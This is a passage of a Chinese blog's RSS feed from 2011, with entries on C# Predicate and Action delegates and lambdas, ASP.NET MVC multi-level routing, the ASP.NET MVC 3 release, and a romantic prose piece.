criteria.&amp;quot;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;简单地说，Predicate就是一个代表了接受一个T类型的参数，然后检查它是否满足某一规则然后返回 true 或者 false 的委托。示例如下：&lt;/p&gt;&lt;p&gt;在这个例子中，我们使用Predicate 来告诉集合如何筛选，然后集合会处理整个重复筛选的过程。&lt;/p&gt;&lt;p&gt;比如说，我们有一个 SprintBacklogItem 集合，想根据State==Closed 这一规则来进行筛选。我们就可以使用如下的一个方法：&lt;/p&gt;&lt;pre&gt;&lt;span style=&quot;color: blue&quot;&gt;　　　private bool &lt;/span&gt;HasStateClosed(&lt;span style=&quot;color: #2b91af&quot;&gt;SprintBacklogItem &lt;/span&gt;item) &lt;br /&gt;        { &lt;br /&gt;&lt;span style=&quot;color: blue&quot;&gt;if &lt;/span&gt;(item.State == &lt;span style=&quot;color: #2b91af&quot;&gt;SprintBackLogStatesStrings&lt;/span&gt;.CLOSED) &lt;br /&gt;&lt;span style=&quot;color: blue&quot;&gt;return true&lt;/span&gt;; &lt;br /&gt;&lt;span style=&quot;color: blue&quot;&gt;return false&lt;/span&gt;; &lt;br /&gt;        }&lt;/pre&gt;&lt;p&gt;这个方法简单地检查了是否SprintBacklogItem&apos;s state is closed，然后返回true/false。现在如果我们观察一下这个方法的定义，就能够确认可以使用Predicate 委托来代表这个方法。下面这行代码就用 FindAll( ) 方法筛选出了所以关闭了的SprintBacklogItems&lt;/p&gt;&lt;pre&gt;&lt;span style=&quot;color: #2b91af&quot;&gt;List&lt;/span&gt;&amp;lt;&lt;span style=&quot;color: #2b91af&quot;&gt;SprintBacklogItem&lt;/span&gt;&amp;gt; closedItems= _SprintBackLogsItems.FindAll(HasStateClosed);&lt;/pre&gt;&lt;h5&gt;Inside Action:&lt;/h5&gt;&lt;p&gt;类似于 Predicate,&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&amp;quot;Action is also one kind of generic delegate which represents a method that take the object as input and perform some operation on that.&amp;quot;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;定义：&lt;/p&gt;&lt;pre&gt;&lt;span style=&quot;color: blue&quot;&gt;delegate void &lt;/span&gt;&lt;span style=&quot;color: #2b91af&quot;&gt;Action&lt;/span&gt;&amp;lt;T&amp;gt;(T obj);&lt;/pre&gt;&lt;p&gt;从这个委托的定义来看，它可以代表一种接受一个T类型的参数，然后什么也不返回的方法。&lt;/p&gt;&lt;p&gt;在List&amp;lt;T&amp;gt;中，由Action委托所代表的方法接受一个输入 obj 对象，然后对它进行处理。&lt;/p&gt;&lt;h6&gt;Example&lt;/h6&gt;&lt;p&gt;在这个例子中，我们将使用Action 对List中的每一个元素进行一个定义好的操作（initializing ActualHour = 10）&lt;/p&gt;&lt;p&gt;1. Define the method that will be represented by Action -&lt;/p&gt;&lt;pre&gt;&lt;span style=&quot;color: blue&quot;&gt;　　　public void &lt;/span&gt;InitActualHour(&lt;span style=&quot;color: #2b91af&quot;&gt;SprintBacklogItem &lt;/span&gt;item) &lt;br /&gt;        { &lt;br /&gt;            item.ActualHour = 10; &lt;br /&gt;        }&lt;/pre&gt;&lt;p&gt;2. Following line of code initialize all the elements&apos; Actual hour to 10 of the List -&lt;/p&gt;&lt;pre&gt;&lt;span style=&quot;color: blue&quot;&gt;this&lt;/span&gt;.ForEach(InitActualHour);&lt;/pre&gt;&lt;p&gt;是不是很COOL很便捷呀？ 为了不直接给Actor 以及 Predicate 定义方法，我们可以使用匿名方法处理委托。日后会讲到。今天先到这儿”&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;好了，Predicate 跟 Action 搞明白了，回到主题，接着看集合查询：&lt;/p&gt;&lt;p&gt;前面使用了这样的代码进行了筛选并输出结果，&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Predicate&amp;lt;Product&amp;gt; test = delegate(Product p) { return p.Price &amp;gt; 10m; };&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;Product&amp;gt; matches = ProductSample.FindAll(test);&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Action&amp;lt;Product&amp;gt; print = delegate(Product p) { Console.WriteLine(p); };&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; matches.ForEach(print);&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;其实这两句可以合并成一句：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;ProductSample.FindAll(delegate (Product p){return p.Price&amp;gt;10m;}).ForEach(delegate (Product p){Console.WriteLine(p);});&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;是不是很简洁呀，呵呵。当然从来都是没有最XX，只有更XX，看下面的，LAMBDA出场！！！！！：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;ProductSample.FindAll(p=&amp;gt; p.Price &amp;gt; 10m).ForEach(p=&amp;gt;Console.WriteLine(p));&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;爽吧。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;爽的方法还不止一种，还可以这样爽：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach(Product tmp in ProductSample.Where(p=&amp;gt;p.Price &amp;gt; 10m))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Console.WriteLine(tmp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;注意这个针对List&amp;lt;T&amp;gt;的 Where() 方法，呀呀呀，，，还有上一节的 OrderBy() 真是把能一般情况都考虑到了。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;但是，有些人觉得那么写还不够爽，在C# 3.0中就弄出了个LINQ。。。。。这个内容就多了。。。日后再说。。。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;&lt;script type=&quot;text/javascript&quot;&gt;&lt;/script&gt;</description>
		<guid>http://blog.0734link.com/Article/665.aspx</guid>
		<trackback:ping>http://blog.0734link.com/Article/665/Trackback.ashx</trackback:ping>
		<comments>http://blog.0734link.com/Article/665.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://blog.0734link.com/Article/665/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://blog.0734link.com/Article/664.aspx</link>
		<title>asp.net mvc 多级目录结构</title>
		<author>329084470@qq.com(ceiling)</author>
		<category>ASP.NET</category>
		<pubDate>Fri, 25 Feb 2011 16:14:32 GMT</pubDate>
		<description>&lt;p&gt;ASP.NET MVC默认的文件组织和URL访问都是一级，我们通常要将一个功能模块组织到一个目录下。方法是：&lt;br /&gt;1、文件组织&lt;br /&gt;&amp;nbsp;&lt;br /&gt;分别在Controllers和Views文件夹下建议CaiGou文件夹，然后将CaiGou模块的CV将到对应文件夹下&lt;/p&gt;&lt;p&gt;2、URL Routing&lt;/p&gt;&lt;p&gt;view plaincopy to clipboardprint?&lt;br /&gt;01.//采购部分路由&amp;nbsp;&amp;nbsp; &lt;br /&gt;02.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; routes.MapRoute(&amp;nbsp;&amp;nbsp; &lt;br /&gt;03.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;CaiGou&amp;quot;, // 路由名称&amp;nbsp;&amp;nbsp; &lt;br /&gt;04.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;CaiGou/{controller}/{action}/{id}&amp;quot;, // 带有参数的 URL&amp;nbsp;&amp;nbsp; &lt;br /&gt;05.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; new { controller = &amp;quot;AddCaiGou&amp;quot;, action = &amp;quot;Index&amp;quot;, id = UrlParameter.Optional } // 参数默认值&amp;nbsp;&amp;nbsp; &lt;br /&gt;06.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; );&amp;nbsp;&amp;nbsp; &lt;br /&gt;07.&amp;nbsp; &lt;br /&gt;08.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //默认路由&amp;nbsp;&amp;nbsp; &lt;br /&gt;09.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; routes.MapRoute(&amp;nbsp;&amp;nbsp; &lt;br /&gt;10.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;Default&amp;quot;, // 路由名称&amp;nbsp;&amp;nbsp; &lt;br /&gt;11.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;{controller}/{action}/{id}&amp;quot;, // 带有参数的 URL&amp;nbsp;&amp;nbsp; &lt;br /&gt;12.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; new { controller = &amp;quot;Home&amp;quot;, action = &amp;quot;Index&amp;quot;, id = UrlParameter.Optional }&amp;nbsp;&amp;nbsp; &lt;br /&gt;13.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; );&amp;nbsp; &lt;br /&gt;//采购部分路由&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; routes.MapRoute(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;CaiGou&amp;quot;, // 路由名称&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;CaiGou/{controller}/{action}/{id}&amp;quot;, // 带有参数的 URL&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; new { controller = &amp;quot;AddCaiGou&amp;quot;, action = &amp;quot;Index&amp;quot;, id = UrlParameter.Optional } // 参数默认值&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; );&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //默认路由&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; routes.MapRoute(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;Default&amp;quot;, // 路由名称&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;{controller}/{action}/{id}&amp;quot;, // 带有参数的 URL&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; new { controller = &amp;quot;Home&amp;quot;, action = &amp;quot;Index&amp;quot;, id = UrlParameter.Optional }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; );&lt;/p&gt;&lt;p&gt;3、Contorller调用View&lt;/p&gt;&lt;p&gt;view plaincopy to clipboardprint?&lt;br /&gt;01.public ActionResult Index()&amp;nbsp;&amp;nbsp; &lt;br /&gt;02.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&amp;nbsp;&amp;nbsp; &lt;br /&gt;03.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return View(&amp;quot;~/Views/CaiGou/AddCaiGou/Index.aspx&amp;quot;);&amp;nbsp;&amp;nbsp; &lt;br /&gt;04.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp; &lt;br /&gt;public ActionResult Index()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return View(&amp;quot;~/Views/CaiGou/AddCaiGou/Index.aspx&amp;quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;&lt;p&gt;4、访问&lt;/p&gt;&lt;p&gt;http://localhost:2325/CaiGou/AddCaiGou&lt;/p&gt;&lt;p&gt;“AddCaiGou”为Controller，看起来有点像Action：）名字没取好&lt;br /&gt;全路径http://localhost:2325/CaiGou/AddCaiGou/Index&lt;/p&gt;&lt;p&gt;本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/ikmb/archive/2010/07/07/5717697.aspx&lt;/p&gt;</description>
		<guid>http://blog.0734link.com/Article/664.aspx</guid>
		<trackback:ping>http://blog.0734link.com/Article/664/Trackback.ashx</trackback:ping>
		<comments>http://blog.0734link.com/Article/664.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://blog.0734link.com/Article/664/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://blog.0734link.com/Article/663.aspx</link>
		<title>微软正式发布ASP.NET MVC 3</title>
		<author>329084470@qq.com(ceiling)</author>
		<category>ASP.NET</category>
		<pubDate>Fri, 25 Feb 2011 15:39:43 GMT</pubDate>
		<description>&lt;p&gt;　　ASP.NET MVC 3建立在ASP.NET MVC 1和2的基础上，新增了更多功能，既简化了你的代码又允许更深的扩展性。经过很长一段时间的测试后，微软日前发布了ASP.NET MVC 3的正式版，其安装步骤与ASP.NET MVC 2完全相同。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;ASP.NET MVC 3主要新增功能：&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;　　— Razor视图引擎；&lt;/p&gt;&lt;p&gt;　　— 新的依赖注入（Dependency Injection）和Global Action Filters带来更强大的hooks；&lt;/p&gt;&lt;p&gt;　　— Unobtrusive JavaScript、jQuery Validation和JSON绑定带来更加丰富的JavaScript支持；&lt;/p&gt;&lt;p&gt;　　— 完善后的模型验证（Model Validation）提供了更流畅的验证。　&lt;/p&gt;&lt;p&gt;　　官方下载页面：&lt;u&gt;&lt;font color=&quot;#800080&quot;&gt;http://www.microsoft.com/downloads/en/details.aspx?FamilyID=d2928bc1-f48c-4e95-a064-2a455a22c8f6&lt;/font&gt;&lt;/u&gt;&lt;/p&gt;</description>
		<guid>http://blog.0734link.com/Article/663.aspx</guid>
		<trackback:ping>http://blog.0734link.com/Article/663/Trackback.ashx</trackback:ping>
		<comments>http://blog.0734link.com/Article/663.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://blog.0734link.com/Article/663/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://blog.0734link.com/Article/662.aspx</link>
		<title>想你</title>
		<author>329084470@qq.com(ceiling)</author>
		<category>情感日记</category>
		<pubDate>Thu, 24 Feb 2011 09:55:10 GMT</pubDate>
		<description>&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 想你是一种美。真的，每当我的思绪划过，一种美妙的弧闪烁着，她在我的时空隧道里凝固着一种微妙的瑰丽，定格。那是一个深蓝，神秘莫测。那是一个紫色的花朵，高贵典雅。象梦一样，像诗一般，像蒙太奇的玄妙，永远永远的，悠长悠长的……&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 想你是一种幸福。那种幸福，暖暖的遍布我的每一个神经，倏然飘动起来，如珊瑚在海洋里油油的舞着，若隐若现，在水的绿洲里徜徉。&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 想你，我把灯的心灵探索，是不是每一个闪烁的光是我疯长的情怀，它以光的速度深入到你的心灵。人说，心有灵犀一点通，此时的你是不是也如我？我们的心灵在幻觉中萌动着，那是情的交融，那是爱的述说。&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 想你，我宁愿在黑暗中寻求一种孤寂，任暗夜的精灵飞舞，任周遭漆黑把我淹没，也好任各种异样的表情传达给天的那端。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 想你，我会仔细的回味着你吟诵的美妙，如醉如痴。每每听你的时候，我会闭上眼睛享受那浅吟低唱的境界。想着此时的你是否也如我，傻傻的笑着，读着，品味着，感受着那种无以言说的感觉。那是怎样的情怀？虚无飘渺中，似乎仙客聚集，送来奇妙的风，柔柔的袭来，温暖着我的有些落寞的情怀。 &lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 想你，我会在你的文中，字里寻觅着炽热的字眼，也好填补我荒凉的空白。或激越，或温馨，或忧伤，或昂扬，每一段文字都是和谐的音符，弥散在空气里，响掣在浩瀚的宇宙间。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 想你，你走进了我的梦里，在朦胧的幻觉里，我在你的臂弯里娇嗔着说，是你吗？我要你说话，你说，你爱我！你会诙谐的调侃着，好了我说，你爱我！明明知道你那不善表达的矜持，而我依然希望你能真切的说声，我爱你！我知道，你不会说，但你的眼神已经告诉我你的炽热，那疯疯的吻，已经说明了这一切。于是，一切的激越，激越的一切便把我淹没在这爱的海洋里……&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 让思念作帆，让爱作舟，我们在这心路的旅程中远航。在风过的日子里留痕，在雪的季节里凝结，那是我们淡泊的情，她在一个世界里升华演绎着一个美的故事，到永远，永远……&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 想你，很美，很美……&lt;br /&gt;&lt;/p&gt;</description>
		<guid>http://blog.0734link.com/Article/662.aspx</guid>
		<trackback:ping>http://blog.0734link.com/Article/662/Trackback.ashx</trackback:ping>
		<comments>http://blog.0734link.com/Article/662.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://blog.0734link.com/Article/662/Feeds.ashx</wfw:commentRss>
	</item>
</channel>
</rss>
